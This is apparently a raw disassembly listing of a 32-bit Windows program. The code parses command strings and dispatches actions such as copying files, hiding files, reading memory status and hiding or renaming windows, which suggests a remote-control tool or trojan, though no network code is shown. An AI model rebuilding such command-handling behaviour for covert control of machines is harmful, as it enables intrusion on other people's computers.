call fcn.00405864
mov eax, dword [ebp - 0x324]
call fcn.004059dc
push eax
lea eax, [ebp - 0x330]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47d5dc
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov eax, dword [ebp - 0x330]
call fcn.004059dc
push eax
call sub.kernel32.dll_CopyFileA
mov edx, dword [ebp - 0xc]
mov eax, 0x47d5dc
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.00405a84
jmp 0x477595
push 0xffffffffffffffff
lea edx, [ebp - 0x338]
mov eax, dword [ebp - 0xc]
call fcn.0040a68c
mov ecx, dword [ebp - 0x338]
lea eax, [ebp - 0x334]
mov edx, dword [ebp - 8]
call fcn.00405864
mov eax, dword [ebp - 0x334]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_CopyFileA
inc edi
dec ebx
jne 0x4774a5
jmp 0x4775dd
push 0xffffffffffffffff
lea edx, [ebp - 0x340]
mov eax, dword [ebp - 0xc]
call fcn.0040a68c
mov ecx, dword [ebp - 0x340]
lea eax, [ebp - 0x33c]
mov edx, dword [ebp - 8]
call fcn.00405864
mov eax, dword [ebp - 0x33c]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [0x494940]
call fcn.00405530
mov eax, 0x47d774
call fcn.00475e2c
lea eax, [ebp - 0x344]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x344]
mov edx, 0x47d788
call fcn.00405974
jne 0x47763b
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.00405a84
mov eax, dword [0x494940]
mov edx, dword [ebp - 8]
call fcn.00405584
lea eax, [ebp - 0x348]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x348]
mov edx, 0x47d7a0
call fcn.00405974
jne 0x47771b
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
push 0
call sub.ole32.dll_CoInitialize
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046e3f0
call sub.ole32.dll_CoUninitialize
lea eax, [ebp - 0x34c]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x34c]
mov edx, 0x47d7b4
call fcn.00405974
jne 0x4777dc
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
lea edx, [ebp - 0x350]
mov eax, dword [ebp - 0xc]
call fcn.0040a5a0
lea eax, [ebp - 0x350]
mov edx, dword [ebp - 0x10]
call fcn.00405818
mov edx, dword [ebp - 0x350]
mov eax, dword [ebp - 0xc]
call fcn.0046da2c
test al, al
jne 0x4777dc
mov eax, 0x47d7c8
call fcn.00475e2c
lea eax, [ebp - 0x354]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x354]
mov edx, 0x47d7dc
call fcn.00405974
jne 0x47787a
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046da2c
test al, al
jne 0x47787a
mov eax, 0x47d7f0
call fcn.00475e2c
lea eax, [ebp - 0x358]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x358]
mov edx, 0x47d804
call fcn.00405974
jne 0x4778ec
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4778b1
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 0x35c]
push eax
mov ecx, ebx
mov edx, 7
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x35c]
call fcn.0046da10
test al, al
je 0x4778e2
mov eax, 0x47d774
call fcn.00475e2c
jmp 0x4778ec
mov eax, 0x47d814
call fcn.00475e2c
lea eax, [ebp - 0x360]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x360]
mov edx, 0x47d828
call fcn.00405974
jne 0x477967
lea eax, [ebp - 8]
mov ecx, 6
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.0048c618
test al, al
jne 0x47795d
push 0x47d838
push dword [ebp - 8]
push 0x47d848
lea eax, [ebp - 0x364]
mov edx, 3
call fcn.004058e0
mov eax, dword [ebp - 0x364]
call fcn.0046d36c
mov eax, 0x47d774
call fcn.00475e2c
lea eax, [ebp - 0x368]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x368]
mov edx, 0x47d858
call fcn.00405974
jne 0x4779b4
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
push 2
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x36c]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x36c]
mov edx, 0x47d86c
call fcn.00405974
jne 0x477a04
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
push 0x80
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [ebp - 8]
mov edx, 0x47d880
call fcn.00405974
jne 0x477a8c
lea eax, [ebp - 0x1fc]
push eax
call sub.kernel32.dll_GlobalMemoryStatus
push 0x47d880
call fcn.0046e5b0
lea edx, [ebp - 0x374]
call fcn.00409d70
push dword [ebp - 0x374]
push 0x47d2ec
lea eax, [ebp - 0x378]
push eax
mov eax, dword [ebp - 0x1f8]
mov dword [ebp - 0x380], eax
mov byte [ebp - 0x37c], 0
lea edx, [ebp - 0x380]
xor ecx, ecx
mov eax, 0x47d890
call fcn.0040af98
push dword [ebp - 0x378]
lea eax, [ebp - 0x370]
mov edx, 4
call fcn.004058e0
mov eax, dword [ebp - 0x370]
call fcn.00475e2c
lea eax, [ebp - 0x384]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x384]
mov edx, 0x47d89c
call fcn.00405974
jne 0x477ae3
lea eax, [ebp - 0x38c]
call fcn.0046e724
mov ecx, dword [ebp - 0x38c]
lea eax, [ebp - 0x388]
mov edx, 0x47d89c
call fcn.00405864
mov eax, dword [ebp - 0x388]
call fcn.00475e2c
lea eax, [ebp - 0x390]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x390]
mov edx, 0x47d8ac
call fcn.00405974
jne 0x477b40
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
push ebp
lea eax, [ebp - 0x394]
call fcn.004846bc
mov eax, dword [ebp - 0x394]
mov ecx, dword [ebp - 8]
mov edx, 0x47d8c0
call fcn.00475fd8
pop ecx
lea eax, [ebp - 0x398]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x398]
mov edx, 0x47d8d0
call fcn.00405974
jne 0x477bf1
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
mov eax, dword [ebp - 0xc]
call fcn.00409edc
lea edx, [ebp - 0x39c]
call fcn.0046de04
mov eax, dword [ebp - 0x39c]
mov ecx, dword [ebp - 0x10]
mov edx, 0x47d8e4
call fcn.00475fd8
pop ecx
lea eax, [ebp - 0x3a0]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3a0]
mov edx, 0x47d8f4
call fcn.00405974
jne 0x477cf5
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.00409edc
mov esi, eax
mov ebx, esi
test ebx, ebx
jle 0x477ceb
mov edi, 1
cmp esi, edi
je 0x477cda
lea eax, [ebp - 0x3a4]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47d5dc
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov eax, dword [ebp - 0x3a4]
call fcn.00409edc
call fcn.00484388
mov edx, dword [ebp - 0xc]
mov eax, 0x47d5dc
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.00405a84
jmp 0x477ce7
mov eax, dword [ebp - 0xc]
call fcn.00409edc
call fcn.00484388
inc edi
dec ebx
jne 0x477c84
mov eax, 0x47d908
call fcn.00475e2c
lea eax, [ebp - 0x3a8]
push eax
mov ecx, 7
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3a8]
mov edx, 0x47d91c
call fcn.00405974
jne 0x477dcd
lea eax, [ebp - 8]
mov ecx, 7
mov edx, 1
call fcn.00405a84
mov dl, 1
mov eax, dword [0x417834]
call fcn.00404620
mov dword [ebp - 0x1a8], eax
xor eax, eax
push ebp
push 0x477dc6
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x3ac]
xor edx, edx
mov eax, dword [ebp - 0x1a8]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x3ac]
call fcn.00409edc
call fcn.00484388
xor edx, edx
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [eax]
call dword [ecx + 0x48]
mov eax, dword [ebp - 0x1a8]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jne 0x477d64
mov eax, 0x47d908
call fcn.00475e2c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x477dcd
mov eax, dword [ebp - 0x1a8]
call fcn.00404650
ret
lea eax, [ebp - 0x3b0]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3b0]
mov edx, 0x47d92c
call fcn.00405974
jne 0x477e21
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.00409edc
call fcn.00484388
mov eax, 0x47d908
call fcn.00475e2c
lea eax, [ebp - 0x3b4]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3b4]
mov edx, 0x47d944
call fcn.00405974
jne 0x477fb7
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x18]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea ecx, [ebp - 0x3bc]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046e9f8
push dword [ebp - 0x3bc]
push 0x47d2ec
lea ecx, [ebp - 0x3c0]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046eab8
push dword [ebp - 0x3c0]
lea eax, [ebp - 0x3b8]
mov edx, 3
call fcn.004058e0
mov eax, dword [ebp - 0x3b8]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
call fcn.00475fd8
pop ecx
lea eax, [ebp - 0x3c4]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3c4]
mov edx, 0x47d954
call fcn.00405974
jne 0x47806b
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov ecx, 1
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
lea eax, [ebp - 8]
mov ecx, 1
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d964
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d964
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046e0dc
lea eax, [ebp - 0x3c8]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3c8]
mov edx, 0x47d970
call fcn.00405974
jne 0x4780f6
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4780b4
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 0x3cc]
push eax
mov ecx, ebx
mov edx, 2
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3cc]
push eax
lea eax, [ebp - 0x3d0]
push eax
mov ecx, 1
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3d0]
pop edx
call fcn.0046e244
lea eax, [ebp - 0x3d4]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3d4]
mov edx, 0x47d980
call fcn.00405974
jne 0x478181
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x47813f
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 0x3d8]
push eax
mov ecx, ebx
mov edx, 2
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3d8]
push eax
lea eax, [ebp - 0x3dc]
push eax
mov ecx, 1
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3dc]
pop edx
call fcn.0046df5c
lea eax, [ebp - 0x3e0]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3e0]
mov edx, 0x47d990
call fcn.00405974
jne 0x47828b
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046f064
lea eax, [ebp - 0x3e4]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3e4]
mov edx, 0x47d9a0
call fcn.00405974
jne 0x478395
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046ee98
lea eax, [ebp - 0x3e8]
push eax
mov ecx, 0x11
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3e8]
mov edx, 0x47d9b4
call fcn.00405974
jne 0x47849f
lea eax, [ebp - 8]
mov ecx, 0x11
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046ef80
lea eax, [ebp - 0x3ec]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3ec]
mov edx, 0x47d9d0
call fcn.00405974
jne 0x47860d
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov eax, dword [ebp - 0x18]
mov edx, 0x47d504
call fcn.00405974
jne 0x4785ef
push ebp
lea eax, [ebp - 0x3f0]
call fcn.0046f390
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0x3f4]
call fcn.0046f5bc
mov edx, dword [ebp - 0x3f4]
pop eax
call fcn.00405818
mov eax, dword [ebp - 0x3f0]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475fd8
pop ecx
jmp 0x47860d
push ebp
lea eax, [ebp - 0x3f8]
call fcn.0046f390
mov eax, dword [ebp - 0x3f8]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475fd8
pop ecx
lea eax, [ebp - 0x3fc]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3fc]
mov edx, 0x47d9e4
call fcn.00405974
jne 0x47865e
lea eax, [ebp - 8]
mov ecx, 6
mov edx, 1
call fcn.00405a84
push 0
push 0
push 0x10
mov eax, dword [ebp - 8]
call fcn.00409edc
push eax
call sub.user32.dll_SendMessageA
lea eax, [ebp - 0x400]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x400]
mov edx, 0x47d9f4
call fcn.00405974
jne 0x4786ab
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
push 3
mov eax, dword [ebp - 8]
call fcn.00409edc
push eax
call sub.user32.dll_ShowWindow
lea eax, [ebp - 0x404]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x404]
mov edx, 0x47da08
call fcn.00405974
jne 0x4786f8
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
push 6
mov eax, dword [ebp - 8]
call fcn.00409edc
push eax
call sub.user32.dll_ShowWindow
lea eax, [ebp - 0x408]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x408]
mov edx, 0x47da1c
call fcn.00405974
jne 0x478745
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
push 0
mov eax, dword [ebp - 8]
call fcn.00409edc
push eax
call sub.user32.dll_ShowWindow
lea eax, [ebp - 0x40c]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x40c]
mov edx, 0x47da2c
call fcn.00405974
jne 0x478792
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
push 5
mov eax, dword [ebp - 8]
call fcn.00409edc
push eax
call sub.user32.dll_ShowWindow
lea eax, [ebp - 0x410]
push eax
mov ecx, 0x10
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x410]
mov edx, 0x47da3c
call fcn.00405974
jne 0x47882e
lea eax, [ebp - 8]
mov ecx, 0x10
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov eax, dword [ebp - 0x10]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.00409edc
push eax
call sub.user32.dll_SetWindowTextA
lea eax, [ebp - 0x414]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x414]
mov edx, 0x47da58
call fcn.00405974
jne 0x478912
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
